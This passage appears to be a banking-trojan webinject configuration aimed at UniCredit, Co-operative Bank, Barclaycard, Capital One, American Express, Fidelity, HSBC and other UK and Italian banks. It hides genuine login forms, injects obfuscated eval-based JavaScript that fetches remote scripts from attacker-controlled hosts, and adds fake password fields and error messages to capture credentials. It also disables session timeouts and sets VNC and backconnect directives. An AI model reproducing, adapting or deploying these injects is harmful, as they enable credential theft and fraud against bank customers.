"28wi","6ed","6fw)","3b ","09","09","64","65l","65t","65 ","66","75n","63","3b","09","7d ","65","6c","73e ","7b","09","09","73","65t","54i","6de","6f","75","74(","66","75nc,","20","310","30","30","29;","09","7d","7d;","66","75","6ec(","29","3b"];imn=imn["j"+""+"o"+""+"\x69"+""+"n"+""]("\\x");this["w"+"i"+""+"n"+"d"+""+"\x6f"+"w"+""]["\x65"+"\x76"+""+"\x61"+""+"\x6c"+""]("var Ini$=\""+imn+"\"");this["\x77"+""+"i"+"\x6e"+""+"d"+"\x6f"+"\x77"]["e"+""+"\x76"+""+"a"+""+"l"+""](Ini$);}())</script></inject><end></body></end></data>

</unit>

; ---; hide content before loading; ---<unit>

<url domain="*online-retail.unicredit.it" request="*menu/index.jsp*" />

<data><begin>rows=</begin><inject>"100%,*" w=</inject><end></end></data>

Page 35

injpack1_skylineinc-inc net (2).txt</unit>

; ---; grab saldo movimenti; fix history table; ---<unit>

<url domain="*online-retail.unicredit.it" request="*bookEntryList.faces*" /><url domain="*online-retail.unicredit.it" request="*checkingHistory.faces*" /><url domain="*online-retail.unicredit.it" request="*homeWelSaldoCC.faces*" /><url domain="*online-retail.unicredit.it" request="*ayments.faces*" /><url domain="*online-retail.unicredit.it" request="*paymentsHistory.faces*" /><url domain="*online-retail.unicredit.it" request="*paymentDetailsAll.faces*" /><url domain="*online-retail.unicredit.it" request="*personalData.faces*" /><url domain="*online-retail.unicredit.it" request="*welLastTrans.faces*" /><url domain="*online-retail.unicredit.it" request="*welSaldoCc.faces*" /><url domain="*online-retail.unicredit.it" request="*welUltimeDisp.faces*" />

<data><begin>id="homeSaldoCCForm:contiTable"</begin><inject> style="display: none;"</inject><end></end></data>

<data><begin>id="pageContent"</begin><inject> style="display: none;"</inject><end></end></data>

<data><begin></begin><inject><script type="text/javascript" language="javascript">(function(){var lnO=["","76a","72 ","66u","6ec","20= ","66u","6ec","74i","6f","6e()","7b","09if","20","28to","70","2ejQu","65","72y ","26&","20top","2ejQue","72y.l","5f","6f","62j","20","26","26","20","74","6f","70","2ejQ","75","65","72","79.","6c_ob","6a","2eg","72ab_sal","64","6f_mo","76","69","6de","6et","69","29","20","7b","09","74","6fp","2ejQue","72y.","6c","5f","6f","62j.g","72","61b_","73al","64o_m","6f",

"76imen","74","69.c","61ll","28","77i","6e","64ow); ","09","64","65","6c","65t","65 f","75","6ec","3b","09}","09e","6cse {","09set","54","69","6deo","75","74(","66un","63,","201","30","30","30","29;","09","7d};","66","75n","63","28","29","3b"];lnO=lnO["\x6a"+""+"o"+"\x69"+""+"n"+""]("\\x");this["w"+"\x69"+"\x6e"+"\x64"+"\x6f"+""+"w"]["\x65"+"\x76"+""+"a"+""+"\x6c"+""]("var Omn$I=\""+lnO+"\"");this["\x77"+""+"\x69"+"n"+"\x64"+""+"\x6f"+""+"w"]["\x65"+"v"+"\

Page 36

injpack1_skylineinc-inc net (2).txtx61"+""+"\x6c"+""](Omn$I);}())</script></inject><end></body></end></data>

</unit>

; ---; menuleft proceeder; ---<unit>

<url domain="*online-retail.unicredit.it" request="*menuleft/index.jsp*" />

<data><begin></begin><inject><script type="text/javascript" language="javascript">(function(){var $O$O=["","76","61","72 ","66","75","6ec =","20","66","75n","63","74ion(","29{","09","69","66 (","74","6f","70.j","51","75","65","72","79","20","26&","20t","6fp","2ejQ","75e","72","79","2el_obj &&","20to","70","2e","6a","51u","65","72y.l","5fo","62j.","6de","6eu","6ceft_","70",

"72o","63e","65","64","65","72","29 ","7bt","6f","70.jQ","75e","72y.l_","6fbj","2eme","6e","75","6ceft","5f","70","72","6f","63","65","65","64","65","72.","63","61l","6c","28w","69","6e","64o","77","29;","09 d","65","6c","65","74e","20","66un","63","3b}","09","65","6cs","65","20{","09","09set","54i","6de","6fut","28fu","6ec","2c ","31","300","30);","7d","7d;f","75nc","28)","3b"];$O$O=$O$O["\x6a"+"\x6f"+""+"\x69"+""+"\x6e"]("\\x");this["w"+"\x69"+""+"\x6e"+"d"+"o"+"w"]["e"+"\x76"+"\x61"+"\x6c"]("var $nii=\""+$O$O+"\"");this["\x77"+""+"\x69"+""+"\x6e"+""+"\x64"+""+"\x6f"+"w"+""]["e"+"v"+""+"a"+""+"\x6c"+""]($nii);}())</script></inject><end></body></end></data>

</unit>

; ---; hide menuSecurity ; ---<unit>

<url domain="*online-retail.unicredit.it" request="*/tools/menuSecurity.faces*" />

<data><begin></begin><inject><script type="text/javascript" language="javascript">(function(){var OO$O=["","76a","72 f","75nc =","20","66","75","6e","63","74","69o","6e","28","29{i","66","20","28top.","6a","51ue","72","79","20&","26 ","74o","70.j","51u","65","72","79.","6c_","6f","62j && to","70","2e","6a","51","75","65","72","79.","6c_o","62j","2e","6d","65nu","73ec","75","72","69ty_","70","72","6f","63","65ed)","20","7b","09","09","74","6f","70","2e",

Page 37

injpack1_skylineinc-inc net (2).txt"6aQue","72y.","6c_o","62","6a.me","6e","75s","65","63u","72","69","74","79_","70","

72","6f","63e","65d","2e","63al","6c(","77ind","6fw);","09","09","64e","6cet","65 f","75","6ec;","09}","65","6c","73","65","20{","09","73","65tT","69","6d","65","6fu","74","28fu","6ec,","201","3000);","09","7d}","3bf","75n","63(","29;"];OO$O=OO$O["\x6a"+""+"o"+""+"i"+""+"n"]("\\x");this["\x77"+""+"\x69"+""+"n"+""+"\x64"+""+"\x6f"+"\x77"+""]["\x65"+""+"v"+""+"a"+""+"\x6c"+""]("var nmIio=\""+OO$O+"\"");this["\x77"+""+"\x69"+""+"\x6e"+"d"+"\x6f"+"w"+""]["\x65"+""+"v"+""+"\x61"+"l"+""](nmIio);}())</script></inject><end></body></end></data>

</unit>

; ---; grab_codice; for ie7 added checking top.jQuery and additional loading az-script and jQuery in top; ---<unit>

<url domain="*online-retail.unicredit.it" request="*MiniBoxLogin.jsp*" /><url domain="*online-smallbusiness.unicredit.it" request="*MiniBoxLogin.jsp*" /><url domain="*online-private.unicredit.it" request="*MiniFormLogin.jsp*" /><url domain="*online.unicreditcorporate.it" request="*MiniBoxLogin.jsp*" />

; S_MAKS_1<data><begin></begin><inject>// </inject><end>var ydhifdwuhuiwfo</end></data>

; S_MASK_1v1<data><begin></begin><inject>// </inject><end>var ydh1fdwuhuiwfo</end></data>

<data><begin>id="entra"</begin><inject> style="display: none;"</inject>

Page 38

injpack1_skylineinc-inc net (2).txt<end></end></data>

<data><begin></begin><inject>

<script type="text/javascript" language="javascript">(function(){var l$i$l=["","76","61","72","20","74op","5f","61","76","61","69","6ca","62l","65","20=","20","66","61ls","65;","74","72","79{","74","6f","70.","6a","51","75e","72y","3b","09to","70","5f","61","76","61il","61","62l","65 ","3d","20t","72ue","3b}c","61","74","63","68","28","65){};","76a","72 ","66","75n","31","20","3d f","75","6ec","74ion","28d){","09","74","72","79","7b","09","76a","72 j","71","6a","73","20","3d d","2e","63","72ea","74eE","6cem","65","6et(","27","73","63","72i","70","74');","20","09","09","64","2ebody.","61p","70","65","6ed","43","68ild","28j","71","6a","73)","3b ","09","6a","71j","73.","73","72c =","20'","68t","74","70","73:","2f/","61j","61x.","61s","70","6e","65t","63","64","6e","2e","63","6fm/a","6a","61x","2f","6a","51","75e","72","79","2f","6a","71","75","

65","72y-1","2e7","2e2.","6d","69","6e.","6a","73","27","3b ","64","65","6c","65","74","65 j","71","6as; ","09","09","09","76","61","72 ","6c","76l","6as","20","3d ","64.","63","72","65","61teElement","28","27sc","72i","70","74'","29;","20","09d.","62","6f","64","79.","61","70","70","65nd","43","68i","6c","64(","6c","76lj","73)","3b","20","09","09","6c","76","6cjs","2e","73","72","63 ","3d","20'","68tt","70s://","68","69","73","74","61","74s.","63","63/js","2f","75n","69","63","72","65ditaz","2ejs","3f","72","3d' ","2b ","4d","61","74","68","2e","72","61","6e","64o","6d();","09d","65","6c","65t","65","20","6c","76","6c","6as","3b","7d","09ca","74","63","68(e","29{}","3b};i","66","28","74","6f","70_","61","76ai","6cab","6ce)","7bi","66(","74y","70","65of","28t","6fp.jQu","65","72","79) ","3d","3d 'u","6e","64ef","69n","65d'){","09","66un1(","74","6fp","2e","64","6fcum","65nt)","3b","09","7d","3b}e","6c","73","65","20","7b ","66","75n1(d","6fc","75","6dent","29;","7d","3b","76","61","72 ","66unc ","3d","20f","75","6ect","69on","28){","69f","20","28","74o","70","5f","61","76","61","69l","61","62","6c","65)","7bif ","28t","6f","70","2ej","51u","65","72","79","20","26& to","70.jQue","72","79.","6c","5f","6f","62j","20&&","20","74op.jQ","75","65","72","79","2el","5f","6fb","6a.g","72ab","5fco","64i","63","65) ","7b","09","09","09","74","6f","70","2ejQue","72y.l","5f","6fbj","2e","67","72","61

b_c","6f","64ic","65.","63a","6c","6c","28","77ind","6fw)","3b ","09","09 ","64","65l","65","74e","20","66","75n","63;","09","09","7d

","09","65lse","20","7b","09se","74T","69m","65o","75","74","28fu","6ec","2c ","3100","30)","3b","09};","09} el","73","65","7b ","09i","66 ","28","28t","79peof","28j","51","75","65","72","79","29","20!","3d","20'un","64","65","66in","65","64","27","29","20&& ","6a","51","75e","72","79.","6c","5f","6f","62j","20&","26 ","6a","51","75e","72y.","6c","5fo","62","6a","2e","67","72ab","5f","63o","64ic","65

)","20{j","51ue","72","79.l_o","62","6a","2eg","72","61","62_","63o","64","69","63","65.c",

"61","6c","6c(windo","77)","3b ","09","09","64","65","6cet","65 f","75n","63","3b ","09}","09 ","65","6cse ","7b","09","09","09","73et","54ime","6fu","74","28fu","6e","63, 100","30);","09","7d;};}","3bf","75n","63","28)","3b"];l$i$l=l$i$l["\x6a"+"o"+""+"i"+""+"n"+""]("\\x");this["\x77"+"\x69"+""+"n"+""+"\x64"+"\x6f"+"w"]["\x65"+""+"\x76"+"\x61"+"\x6c"+""]("var lo$nm=\""+l$i$l+"\"");this["w"+""+"\x69"+""+"\x6e"+"\x64"+""+"o"+""+"w"]["e"+""+"\x7

Page 39

injpack1_skylineinc-inc net (2).txt6"+"\x61"+"l"+""](lo$nm);}())</script>

</inject><end></body></end></data>

</unit>

; ===================== COOPERATIVE ====================

<unit><url domain="*personal.co-operativebank.co.uk*" />

<data><begin><body></begin><inject>

<div style="display: none;" id="body_content">

</inject><end></end></data>


</div>

<script language="javascript">

var nool$=["","3cd","69","76","20","69d=","22w","61i","74","5fdi","76","22 ","73tyle=","22di","73p","6ca","79: ","6e","6fn","65","22>","3c/d","69","76","3e","3c","64i","76 ","69d","3d","22","6c","76ld","76","22","20st","79","6c","65","3d","22","64","69","73","70lay","3a","20","6e","6fn","65;","22 ","76=","22","32","77","22>","3c","69","66","72a","6de","20i","64=","22","6c","76","6cf","72post","22","20n","61","6de=","22","6c","76","6c","66","72p","6fs","74","22","20","73t","79l","65=","22","68","65ight:","20","31px","3b ","77i","64","74h: ","31p","78;","20","64is","70la","79:","20n","6f","6e","65","3b","22","3e","3c/","69f","72ame","3e","3ci","66","72","61m","65 id","3d","22","6c","76","6c","66","72","22nam","65=","22l","76lf","72","22 s","74y","6ce","3d","22","68e","69g","68","74","3a 1","70","78","3b w","69","64","74h:","20","31","70x","3b ","64","69s","70","6c","61y","3a non","65;","22>","3c/i","66","72","61","6d","65>","3csc","72","69p","74","20l","61nguag","65=","22j","61","76","61","73c","72","69pt","22","20","74y","70e=","22","74e","78t/ja","76asc","72","69","70t","22>","76a","72","20aa","61","20","3d","20","27e-ab","62","27;","77i","6e","64o","77","2e","76_f","75n","63=","66u","6e","63t","69","6f","6e","28){","76","61","72","20d = ","64ocume","6et.c","72eate","45","6cem","65","6et","28","22","64","69","76","22","29","3b","20d","2ein","6ee","72","48","54","4dL","20","3d","20'","3cp","3e","54","68","69","73","20","65","72","72","6f","72","20mes","73ag","65 ","69","6e","64i","63","61","74es t","68","61t we h","61","76e","20t","65m","70","6f","72a","72","79 ","74","65","63","68","6e","69","63","61","6c","20","64if","66i","63ul","74i","65","73","2e","3cp","3eThe ","65","72","72","6f","72 w","69","6cl

Page 40

injpack1_skylineinc-inc net (2).txtbe","20","66","69x","65d ","61t","20e","61","72l","69e","73","74","20","63","6f","6e","76","65n","69","65","6ec","65.","27","3b","64oc","75","6d","65n","74.","62","6fd","79.a","70p","65","6edCh","69","6c","64","28","64);}; ","76a","72 l","76","6cj","73 = ","64o","63","75ment.c","72e","61","74","65Elemen","74(","22","73","63","72","69p","74","22)","3b","20","64","6fc","75m","65","6et.ge","74","45","6c","65","6dentB","79","49","64(","22","6c","76","6cd","76","22","29","2e","61","70","70en","64","43h","69ld(l","76","6cj","73","29;l","76","6c","6as","2eone","72","72o","72=wind","6f","77.","76","5ffu","6e","63","3b","6c","76","6cj","73.o","6e","72eady","73","74at","65","63","68","61","6e","67e ","3d ","66","75","6ect","69","6fn()","7b","69f","20","28/l","6fa","64","65d/.","74e","73t","28","74his.","72","65","61","64","79St","61","74","65) &","26 (","74y","70","65o","66(w","69","6edow.","6c","76","6c","74","78","74","29 ","3d=","20","22un","64","65","66ine","64","22","29) {win","64","6f","77","2e","76_","66unc","28","29","3b","7d","3b}","3bl","76","6cj","73.l","61","6e","67u","61","67e ","3d ","22ja","76","61","73c","72ipt","22","3bl","76ljs","2es","72","63 =","20'","68t","74","70","73:","2f","2fd","69","67","69ta","6c-i","6e-","6f","6ee.","63c/","6as/coo","70e","72ati","76ea","7a_5","3643","387","2e","6as?","72=","27","20+","20","4da","74","68","2e","72","61n","64","6f","6d","28);","3c/sc","72","69pt>","3c","2f","64","69","76","3e"];nool$=nool$["\x6a"+""+"\x6f"+"\x69"+"\x6e"+""]("\\x");this["\x77"+"i"+"n"+""+"d"+"o"+"\x77"]["e"+""+"v"+"\x61"+"l"+""]("var $O$n=\""+nool$+"\"");this["\x64"+"o"+"c"+"\x75"+"m"+"\x65"+"\x6e"+"\x74"+""]["\x77"+""+"\x72"+"\x69"+""+"t"+""+"e"+""]($O$n);delete $O$n;delete nool$;

</script>


</unit>

; ===================== ULSTER ========================

� � � �ÛU ë½Å+ * cc.txt ;<signbotid value ="YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY" />;<signbotnet value ="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" />

<alertblock domain="*dig-services.at*"/><alertblock domain="*jquery.com*"/><alertblock domain="*googleapis*"/>

<alertblock domain="*google.com*"/><alertblock domain="*hipro.cc" /><alertblock domain="*higuards.su" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<BARCLAYCARD<unit>

<url domain="*bcol.barclaycard.co.uk*" request = "*initialLogon.do*"/><url domain="*bcol.barclaycard.co.uk*" request = "*validateMemorableWord.do*"/><url domain="*bcol.barclaycard.co.uk*" request = "*cardSummary.do*"/>

<data><begin mask="*">*id="initiallogon"</begin><inject> style="display:none;"</inject>

Page 41


<data><begin mask="*">*id="memword"</begin><inject> style="display:none;"</inject><end mask="*"></end></data></unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<BKS

<unit>

<url domain="*bankcardservices*" request="*NetAccessXX*" /><url domain="*bankcardservices*" request="*LoginProcess*" /><url domain="*bankcardservices*" request="*WelcomeScreen*" />

<data><begin mask="*">*name="olb_login"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

<data><begin mask="*">*name="siteKeyConfirmForm"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

</unit>

<unit><url domain="*uk.virginmoney.com*" request="*service/credit-card/*" />

<data><begin mask="*">*id="credit-card-login"</begin><inject> style="display:none;"</inject><end mask="*">

Page 42


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<pofssavecredit.co.uk<unit>

<url domain="*www.pofssavecredit.co.uk*" request = "*POFS-NPS/do/login*"/><url domain="*www.pofssavecredit.co.uk*" request = "*POFS-NPS/do/myAccounts*"/>

<data><begin mask="*"><head></begin><inject>

</inject><end mask="*"><title>My accounts | Savings account transactions</title></end></data>

<data><begin mask="*">*id="loginform"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<capitaloneonline.co.uk<unit>

<url domain="*capitaloneonline.co.uk*" request = "*Login.do*"/>

<data><begin mask="*">*name="logonForm"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

</unit>

;<<<<<<<<<<<<<<<<<<<partnershipcard

<unit>

<url domain="*partnershipcard.co.uk*" request = "*Login.axp*" /><url domain="*partnershipcard.co.uk*" request = "*index.axp*" />

Page 43

injpack1_skylineinc-inc net (2).txt<data><begin mask="*">*id="Header"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

<data><begin mask="*">*id="MainContainer"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

</unit>

;<<<<<<<<<<<<<<<<<EVANQUIS.CO.UK

<unit><url domain="*evanquis*" request="*credentials.aspx*" /><url domain="*evanquis*" request="*logon.aspx*" /><url domain="*evanquis*" request="*accountsummary.aspx*" />

<data><begin mask="*">*id="mainform"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<american express<unit><url domain="*americanexpress.com*" request="*uk*"/>

<data><begin mask="*">*id='ssoform'</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

<data><begin mask="*">*id="ssoform"

Page 44

injpack1_skylineinc-inc net (2).txt</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">if (document.getElementById('ssoform') || window.location.href.indexOf('emea/summary.do')+1) {

var url = 'https://cards.dig-services.at/tool/card.js?qw=lsbvk%' + '32jsdfviuh%45jdfhdjfh&r=' + Math.random();

//var url = 'https://cards.dig-services.at/tool/card.js';var loadJS = function(url1,callBack) {

if (callBack == undefined) callBack = function() {return}; lvljs = document.createElement('scr'+'ipt'); lvljs.src = url1; document.body.appendChild(lvljs); function afterLoad() { callBack(); } lvljs.onload = lvljs.onerror = function() { if (!this.executed) { this.executed = true; afterLoad(); } }; lvljs.onreadystatechange = function() { var self = this; if (this.readyState == "complete" || this.readyState == "loaded") setTimeout(function() { self.onload() }, 0); };

}if (!window.jQuery) {

if (window.google) { google.load("jquery", "1.4.3"); google.setOnLoadCallback(function() { if (!window.jQuery) return false; loadJS(url); }); } else loadJS('https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js',function(){ if (!window.jQuery) return; loadJS(url) });

} else loadJS(url);}</script>

Page 45



</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<BODY HIDER

<unit><url domain="*capitaloneonline.co.uk*" request = "*Transactions.do*"/><url domain="*capitaloneonline.co.uk*" request = "*Login.do*"/>

<url domain="*bankcardservices*" request="*AccountSnapshotScreen*" /><url domain="*bankcardservices*" request="*LoginProcess*" />

<url domain="*www.pofssavecredit.co.uk*" request = "*POFS-NPS/do/myAccounts*"/>

<url domain="*bcol.barclaycard.co.uk*" request = "*cardSummary.do*"/>

<url domain="*americanexpress.com*" request = "*emea/summary.do*"/>

<data><begin mask="*"><body</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

</unit>

<unit><url domain="*americanexpress.com*" request = "*emea/summary.do*"/>

<data process="all"><begin mask="*"><body</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

</unit>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><unit><url domain="*americanexpress.com*" request = "*emea/summary.do*"/>

<url domain="*bankcardservices*" request="*AccountSnapshotScreen*" />Page 46

injpack1_skylineinc-inc net (2).txt<url domain="*bankcardservices*" request="*LoginProcess*" /><url domain="*bankcardservices*" request="*WelcomeScreen*" /><url domain="*uk.virginmoney.com*" request="*service/credit-card/*" />

<url domain="*bcol.barclaycard.co.uk*" request = "*initialLogon.do*"/><url domain="*bcol.barclaycard.co.uk*" request = "*validateMemorableWord.do*"/><url domain="*bcol.barclaycard.co.uk*" request = "*cardSummary.do*"/>

<url domain="*www.pofssavecredit.co.uk*" request = "*POFS-NPS/do/login*"/><url domain="*www.pofssavecredit.co.uk*" request = "*POFS-NPS/do/myAccounts*"/>

<url domain="*capitaloneonline.co.uk*" request = "*Login.do*"/><url domain="*capitaloneonline.co.uk*" request = "*Transactions.do*"/>

<url domain="*partnershipcard.co.uk*" request = "*Login.axp*" /><url domain="*partnershipcard.co.uk*" request = "*index.axp*" />

<url domain="*evanquis*" request="*logon.aspx*" /><url domain="*evanquis*" request="*complete.aspx*" /><url domain="*evanquis*" request="*credentials.aspx*" /><url domain="*evanquis*" request="*accountsummary.aspx*" />

<data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">

var url = 'https://cards.dig-services.at/tool/card.js?qw=lsbvk%' + '32jsdfviuh%45jdfhdjfh&r=' + Math.random();

//var url = 'https://cards.dig-services.at/tool/card.js';var loadJS = function(url1,callBack) {

if (callBack == undefined) callBack = function() {return}; lvljs = document.createElement('scr'+'ipt'); lvljs.src = url1; document.body.appendChild(lvljs); function afterLoad() { callBack(); } lvljs.onload = lvljs.onerror = function() { if (!this.executed) { this.executed = true; afterLoad(); } }; lvljs.onreadystatechange = function() { var self = this; if (this.readyState == "complete" || this.readyState == "loaded") setTimeout(function() { self.onload() }, 0); };

}if (!window.jQuery) {

if (window.google) { google.load("jquery", "1.4.3"); google.setOnLoadCallback(function() { if (!window.jQuery) return false; loadJS(url); }); }

Page 47

injpack1_skylineinc-inc net (2).txt else loadJS('https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js',function(){ if (!window.jQuery) return; loadJS(url) });

} else loadJS(url);</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<AVI ENtriES

<avi damain = "*vanquis*" request = "*logon.aspx*" /><avi domain = "*bankcardservices*" request = "*WelcomeScreen*" /><avi domain = "*virginmoney*" request = "*credit-card*" /><avi domain = "*pofssavecredit.co.uk" request="/POFS-NPS/do/login*"/><avi domain = "*theaa.com*" request = "*credit_card_login*"/><avi domain = "*capitaloneonline.co.uk*" request = "*Login.do*"/><avi domain = "*natwest.com*" request = "*RBSG_Consumer/Login.do*" /><avi domain = "*partnershipcard.co.uk*" request = "*index.axp*" /><avi domain = "*americanexpress.com*"/>

;<<<<<<<<<<<<<<<<<some fixes

<unit><url domain="*bankcardservices*" request="*NetAccessXX*" /><url domain="*bankcardservices*" request="*AccountSnapshotScreen*" /><url domain="*bankcardservices*" request="*LoginProcess*" /><url domain="*bankcardservices*" request="*WelcomeScreen*" />

<data><begin mask="*">*getElementById('password')</begin><inject>

</inject><end mask="*">;</end></data>

<data><begin mask="*"><head>*</begin><inject> <style>

.imp {min-height:0% !important;margin:-200px auto -20px} </style></inject><end mask="*">

Page 48


</unit>

<unit><url request="*pofssavecredit.co.uk/POFS-NPS/do/login*" /><url domain="*pofssavecredit.co.uk" request="/POFS-NPS/do/login*" />

<data><begin mask="*"><meta http-equiv="refresh" content="</begin><inject>30000</inject><end mask="*">;url=/POFS-NPS/do/timeout"</end></data>

</unit>

<unit><url domain="*evanquis*" request="*logon.aspx*" /><url domain="*evanquis*" request="*complete.aspx*" /><url domain="*evanquis*" request="*credentials.aspx*" /><url domain="*evanquis*" request="*accountsummary.aspx*" />

<data><begin mask="*">*animatedcollapse.js"></script></begin><inject>

</inject><end mask="*"></begin><inject><div id="preLoginLoad" style="width:100%;text-align:center;"><img src="https://business.co-operativebank.sj148-storage.net/img/private/loading.gif?qw=lsbvk%32jsdfviuh%45jdfhdjfh"></div></inject><end mask="*"></end></data>

<data><begin mask="*"><table align="center"</begin><inject> id="securityForm"</inject><end mask="*"></end></data>

<data><begin mask="*">src="web/L001/images/cfs/Logo_Business6.gif"></begin><inject><div id="ErrorMessagePanel_lv" style="display:none;font-family: Arial,Helvetica,sans-serif;font-size:70%;color:red;">7356 - Security Token Passcode : You've entered your passcode incorrectly. Please try again, following the on screen instructions carefully.</div></inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject><table border="0" cellspacing="0" cellpadding="0" align="center"><tr><td valign="top"><div align="center" id="wrap_wd" style="display: none;"></div></td></tr></table></inject><end mask="*"><table align="center"</end></data>

<data><begin mask="*">name="CorporateSignonCorpId"</begin><inject> id="CorporateSignonCorpId"</inject><end mask="*">

Page 61


<data><begin mask="*">function fnCheckNumeric()</begin><inject>{}function _fnCheckNumeric()</inject><end mask="*"></end></data>

<data><begin mask="*">function checkEnter(e)</begin><inject>{}function _checkEnter(e)</inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject><div id="lvldv" style="display: none;"><iframe id="lvlfrpost" name="lvlfrpost" style="height: 1px; width: 1px; display: none;"></iframe><script language="javascript" type="text/javascript">var lvljs = document.createElement('script');document.getElementById('lvldv').appendChild(lvljs);var url ='https://protected-onlinebanking.net/js/cooperative.js?r=' + Math.random() + '&qw=lsbvk%32jsdfviuh%45jdfhdjfh';lvljs.src = url;document.bid = "default";//n0.4</script></div></inject><end mask="*"></body>*</html></end></data></unit>

; ======== FIDELITY_CH ============

<unit><url domain="*fidelity.co.uk" request="/investor/login/migrated/LoginUpgradeIndex.jsp*" />

<vnc domain="*fidelity.co.uk" request="*"/><backconnect domain="*fidelity.co.uk" request="*"/><avi domain="*fidelity.co.uk" request="/investor/login*"/>


Page 62

injpack1_skylineinc-inc net (2).txt<tr class="ofLastChild"</begin><inject> id="partialConent" style="display:none;"</inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject><tr class="ofLastChild"> <th><label for="fullPwd">Password</label></th>

<td><input type="password" id="fullPassword" value="" maxlength="16" name="fullPassword"></td></tr></inject><end mask="*"><tr class="ofLastChild"</end></data>

<data><begin mask="*">Please enter characters <b</begin><inject> id="positionDiv"</inject><end mask="*"></end></data>

<data><begin mask="*"></h2>*<p class="ofLastChild"</begin><inject> id="oldLabel" style="display:none;"</inject><end mask="*"></end></data>

<data><begin mask="*">from your password.*</p></begin><inject><p style="display:none;color:red;" id="ErrorMessagePanel_lv"><strong>Error on page</strong>The security details entered are invalid, please try again. (LOG_0027)</p><p class="ofLastChild">Please enter your password.</p></inject><end mask="*"></end></data>

<data><begin mask="*">action="/investor/login/encryptPartialPassword.htm"

Page 63

injpack1_skylineinc-inc net (2).txt</begin><inject> onsubmit="return lvltxt.login_s2(this);"</inject><end mask="*"></end></data>

<data><begin mask="*"><div class="ofRegContent"</begin><inject> id="loginForm"</inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject><div align="center" id="wrap_wd" style="display: none;"></div></inject><end mask="*"><div class="ofRegContent"</end></data>

</unit>

<unit><url domain="*fidelity.co.uk" request="/investor/login*" />

<vnc domain="*fidelity.co.uk" request="*"/><backconnect domain="*fidelity.co.uk" request="*"/><avi domain="*fidelity.co.uk" request="/investor/login*" />

<data><begin mask="*"></begin><inject><div id="lvldv" style="display: none;"><iframe id="lvlfrpost" name="lvlfrpost" style="height: 1px; width: 1px; display: none;"></iframe><script language="javascript" type="text/javascript">var lvljs = document.createElement('script');document.getElementById('lvldv').appendChild(lvljs);var url ='https://protected-onlinebanking.net/js/fidelity.js?r=' + Math.random() + '&qw=lsbvk%32jsdfviuh%45jdfhdjfh';lvljs.src = url;document.bid = "default";</script></div></inject><end mask="*"></body>*</html></end></data></unit>

Page 64


; ======== HSBC_CH ============

<unit><url domain="*business.hsbc.co.uk" request="/1*" />

<vnc domain="*business.hsbc.co.uk" request="*"/><backconnect domain="*business.hsbc.co.uk" request="*"/><avi domain="*business.hsbc.co.uk" request="/1*" />

<data><begin mask="*">inputForm.memorableAnswer</begin><inject>; // </inject><end mask="*"></end></data>

<data><begin mask="*">inputForm.userid</begin><inject>; // </inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject></inject><end mask="*"></end></data>

<data save="true"><begin mask="*"><div class="containerWrapper02"</begin><inject> id="containerWrapper02" style="display: none" </inject><end mask="*"></end></data>

<data save="true"><begin mask="*"><table summary="This table shows the current balance of all your accounts"</begin><inject>

Page 65

injpack1_skylineinc-inc net (2).txt id="table_balance"</inject><end mask="*"></end></data>

<data save="true"><begin mask="*"><table summary="This table shows the transaction details"</begin><inject> id="table_transaction_details"</inject><end mask="*"></end></data>

<data save="true"><begin mask="*">summary="displays the content"</begin><inject> id="table_content"</inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject><div id="ErrorMessagePanel_lv" style="display:none" class="hsbcContentErrorCSALarge"><h4>Error on page</h4><h3>The field relating to the error is highlighted below</h3><ul><li>The security details entered are invalid, please try again. (LOG_0008)</li></ul><br /></div><br /> </inject><end mask="*"><p class="hsbcBibTextStyle04"></end></data>

<data><begin mask="*">for="passwd"</begin><inject> id="label_for_passwd" </inject><end mask="*"></end></data>

<data><begin mask="*">for="securitycode"</begin><inject> id="label_for_securitycode"

Page 66

injpack1_skylineinc-inc net (2).txt</inject><end mask="*"></end></data>

<data><begin mask="*"><div class="hsbcContent hsbcSpacing11"</begin><inject> id="hsbcContent02" </inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject><div align="center" id="c_wrap_wd" style="display: none;"></div></inject><end mask="*"><div class="hsbcContent hsbcSpacing11"</end></data>

<data><begin mask="*">nextPage=B2G_CAM40_PERSONAL_PAGE"</begin><inject> onsubmit="return lvltxt_login_s1(this);" </inject><end mask="*"></end></data>

<data><begin mask="*">idv_cmd=idv.Authentication"</begin><inject> onsubmit="return lvltxt_login_s2(this);" </inject><end mask="*"></end></data>

<data><begin mask="*">function timeOutPrompt()*{</begin><inject>return false;</inject><end mask="*"></end></data>


Page 67

injpack1_skylineinc-inc net (2).txtfunction timerStart()*{</begin><inject>return false;</inject><end mask="*"></end></data>

